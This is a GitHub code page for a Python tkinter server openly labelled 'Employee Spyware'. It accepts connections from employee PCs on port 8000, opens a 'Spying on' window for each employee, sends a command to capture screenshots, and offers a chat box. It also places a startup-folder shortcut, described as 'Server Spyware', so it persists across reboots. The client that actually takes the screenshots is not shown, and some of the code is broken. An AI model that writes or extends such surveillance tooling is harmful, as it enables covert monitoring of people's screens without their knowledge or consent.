-
Notifications
You must be signed in to change notification settings - Fork 0
/
desktopspy_server_v01.py
179 lines (150 loc) · 7.3 KB
/
desktopspy_server_v01.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
# Must need:: 'spy.ico' icon image in same folder.
import os # os.path dir operation
import socket # socket
import _thread # threading
import tkinter # GUI properties
from tkinter import * # GUI properties
from tkinter import filedialog # GUI properties
import winshell # Shortcut creation in startup folder
# from tkinter import messagebox # Error msg
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_hostname = socket.gethostname()
server_ip = socket.gethostbyname(server_hostname)
HOST = ''
PORT = 8000
s.bind((HOST, PORT))
startup = winshell.startup()
if not os.path.isfile(startup + '/' + 'desktopspy_server_v01.lnk'):
winshell.CreateShortcut(
Path=os.path.join(startup, 'desktopspy_server_v01.lnk'),
Target=r"C:\Program Files (x86)\desktop-spy-server\desktopspy_server_v01.exe",
Icon=(r"C:\Program Files (x86)\desktop-spy-server\desktopspy_server_v01.exe", 0),
Description="Server Spyware"
)
def employee_thread(client_conn): # main thread that separates employee
employee = client_conn.recv(1024).decode('utf-8')
def rcv_data(): # receive msg thread
try:
while True:
data = client_conn.recv(1024).decode('utf-8')
chat_log.config(state=NORMAL)
chat_log.insert(END, '>____' + employee + ' :\n' + data)
chat_log.see(END)
chat_log.config(state=DISABLED)
entry_box.delete(1.0, END)
except Exception as temp:
pass
# messagebox.showerror('Error', str(temp))
return 0
def send_data():
try:
data = entry_box.get(1.0, END)
chat_log.config(state=NORMAL)
chat_log.insert(END, '>____You :\n' + data)
chat_log.see(END)
chat_log.config(state=DISABLED)
entry_box.delete(1.0, END)
client_conn.send(bytes(data, 'utf-8'))
except Exception as temp:
threadgui.destroy()
return 0
def send_case():
try:
client_conn.send(bytes('#' + str(k.get()), 'utf-8'))
except Exception as temp:
threadgui.destroy()
def radio_1():
k.set(1)
def radio_2():
k.set(2)
def disable_event():
threadgui.iconify()
pass
#################################################################################
# Connected Client Thread GUI
#################################################################################
_thread.start_new_thread(rcv_data, ())
threadgui = tkinter.Tk()
threadgui.title('Spying on ' + employee)
threadgui.geometry("315x615+1020+10") # width * height
threadgui.resizable(0, 0)
# threadgui.iconbitmap('spy.ico')
screenshots = Frame(threadgui)
screenshots.pack(padx=10, anchor=W)
chatbox = Frame(threadgui)
chatbox.pack(anchor=W)
# Create a Select Option frame
tkinter.Label(screenshots, font=('Comic Sans MS', 10, 'bold'), text='Select any one:').pack(pady=10, anchor=W)
k = IntVar()
Radiobutton(screenshots, font=font_temp, text='1. Take screenshots Now.', value=1, variable=k, command=radio_1).pack(anchor=W)
Radiobutton(screenshots, font=font_temp, text='2. Other Options. (Coming soon..)', value=2, variable=k, command=radio_2, state=DISABLED).pack(anchor=W)
tkinter.Button(screenshots, font=('Comic Sans MS', 10, 'bold'), fg='#ffffff', bg='#4285F4', text='Send Input', command=send_case).pack(pady=10)
tkinter.Label(screenshots, font=('Comic Sans MS', 10, 'bold'), text="Let's chat..").pack(anchor=W, pady=10)
# Create a Chat window frame
scrollbar = Scrollbar(chatbox, orient=VERTICAL)
chat_log = Text(chatbox, font=font_temp, padx=10, pady=10, width=30, height=18, bg='#ecf2fd', wrap=WORD, yscrollcommand=scrollbar.set, state=DISABLED)
scrollbar.config(command=chat_log.yview)
entry_box = Text(chatbox, padx=10, width=25, height=3, bg='#d9e6fc', font=font_temp)
send_btn = Button(chatbox, font=('Comic Sans MS', 10, 'bold'), fg='#ffffff', text="Send msg", bg='#4285F4', command=send_data)
# Place all components on the screen
chat_log.grid(row=0, column=0, columnspan=2, sticky=N+S+E+W)
scrollbar.grid(row=0, column=2, sticky=N+S)
entry_box.grid(row=1, column=0, pady=5)
send_btn.grid(row=1, column=1, pady=5, sticky=N+S+E+W)
threadgui.protocol("WM_DELETE_WINDOW", disable_event)
threadgui.mainloop()
#################################################################################
return 0
def server_thread():
global s
s.listen(10)
msg_lbl.configure(text='Server Started, Socket is listening!.. Yooo...')
while True:
try:
client_conn, client_addr = s.accept()
_thread.start_new_thread(employee_thread, (client_conn,))
except Exception as temp:
start_s.configure(state=NORMAL)
stop_s.configure(state=DISABLED)
break
def start_server():
start_s.configure(state=DISABLED)
stop_s.configure(state=NORMAL)
_thread.start_new_thread(server_thread, ())
def stop_server():
window.destroy()
sys.exit(0)
exit(0)
#################################################################################
# BossPC Server GUI
#################################################################################
# Extra Argument --
# bg_temp = "#4285F4" #Google
# bg_temp = "#006491" #Domino’s
# bg_temp = "#007DB8" #Dell
bg_temp = '#DDDDDD'
font_temp = ('Comic Sans MS', 10, '')
btn_color = '#DB4437' # Google RED
# ------------------
window = tkinter.Tk()
window.title('Employee Spyware')
window.geometry("+400+200")
window.resizable(0, 0)
# window.iconbitmap('spy.ico')
# window["bg"] = bg_temp
tkinter.Label(window, font=font_temp, text='Welcome to my first desktop Server App.').grid(row=0, column=0, padx=10, pady=10, columnspan=4)
tkinter.Label(window, font=('Comic Sans MS', 14, 'bold underline'), text='Properties').grid(row=1, column=0, padx=10, pady=10, columnspan=4, sticky=W)
tkinter.Label(window, font=font_temp, text='Your Hostname:').grid(row=2, column=0, padx=10, sticky=W)
tkinter.Label(window, font=font_temp, text=server_hostname).grid(row=2, column=1, padx=10, sticky=W)
tkinter.Label(window, font=font_temp, text='IPv4 Address:').grid(row=3, column=0, padx=10, sticky=W)
tkinter.Label(window, font=font_temp, text=server_ip).grid(row=3, column=1, padx=10, sticky=W)
tkinter.Label(window, font=font_temp, text='Port:').grid(row=4, column=0, padx=10, sticky=W)
tkinter.Label(window, font=font_temp, text=PORT).grid(row=4, column=1, padx=10, sticky=W)
start_s = tkinter.Button(window, font=('Comic Sans MS', 11, 'bold'), fg='#ffffff', bg='#DB4437', text='Start Server', command=start_server)
start_s.grid(row=2, column=2, padx=10, rowspan=2)
stop_s = tkinter.Button(window, font=('Comic Sans MS', 11, 'bold'), fg='#ffffff', bg='#DB4437', text='Stop Server', command=stop_server, state=DISABLED)
stop_s.grid(row=2, column=3, padx=10, rowspan=2)
msg_lbl = tkinter.Label(window, font=('Comic Sans MS', 10, 'bold italic'), bd=5, fg='#0F9D58', bg=bg_temp)
msg_lbl.grid(row=5, column=0, padx=10, pady=10, columnspan=4, sticky=W)
window.protocol("WM_DELETE_WINDOW", stop_server)
window.mainloop()